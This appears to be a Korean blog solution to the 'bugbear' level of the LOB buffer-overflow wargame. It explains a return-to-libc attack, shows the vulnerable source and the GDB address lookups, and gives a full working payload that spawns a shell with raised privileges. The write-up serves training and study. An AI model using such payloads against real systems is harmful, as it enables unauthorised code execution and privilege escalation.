- User : darkknight
- 문제 : bugbear
bugbear.c의 소스코드는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | /* The Lord of the BOF : The Fellowship of the BOF - bugbear - RTL1 */ #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } if(argv[1][47] == '\xbf') { printf("stack betrayed you!!\n"); exit(0); } strcpy(buffer, argv[1]); // Vulnerability!!! printf("%s\n", buffer); } | cs |
취약한 strcpy() 함수를 사용하기 때문에 buffer Overflow를 발생시킬 수 있습니다. 하지만 argv[1]의 48번째 문자가 "\xbf"이어야 함으로 stack 영역을 사용할 수 없습니다. 따라서 RTL 기법을 이용하여 문제를 해결해야 합니다.
RTL 기법에 대한 자세한 설명은 제 블로그의 protostar 문제풀이 편을 참고하시기 바랍니다. (http://limjunyoung.tistory.com/158)
Step 1. GDB를 이용하여 공유 라이브러리에 있는 system 함수와 exit 함수의 주소를 확인합니다.
1 2 3 4 5 6 7 8 9 10 | (gdb) b *main Breakpoint 1 at 0x8048430 (gdb) r Starting program: /home/darkknight/tmp/bugbear Breakpoint 1, 0x8048430 in main () (gdb) p system $1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system> (gdb) p exit $2 = {void (int)} 0x400391e0 <exit> | cs |
Step 2. 다음과 같은 C 코드로 메모리에 존재하는 "/bin/sh" 문자열의 주소값을 확인합니다.
1 2 3 4 5 6 7 8 | #include <stdio.h> int main() { long sh = 0x40058ae0; // &system while(memcmp((void*)sh, "/bin/sh", 8)) { sh++; } printf("%p\n",sh); } | cs |
1 2 | [darkknight@localhost tmp]$ ./getbinsh 0x400fbff9 | cs |
Step 3. 위에서 찾은 주소값을 조합하여 다음과 같은 payload를 만들 수 있습니다.
--------------------------------------------------
| buffer | SFP | &system | &exit | &"/bin/sh" |
--------------------------------------------------
1 2 3 4 5 6 7 | [darkknight@localhost darkknight]$ ./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?@?@廈@ bash$ id uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight) bash$ my-pass euid = 513 new divide | cs |
'WarGame > LOB' 카테고리의 다른 글
[LOB] golem :: Stack Frame Pointer Overflow (FPO) (0) | 2016.04.14 |
---|---|
[LOB] skeleton :: LD_PRELOAD를 이용한 BOF (0) | 2016.04.06 |
[LOB] vampire :: 초기화되지 않는 환경변수 영역 (0) | 2016.04.06 |
[LOB] troll :: Stack Escalate (0) | 2016.04.05 |
[LOB] orge :: 심볼릭 링크를 이용한 BOF (0) | 2016.04.05 |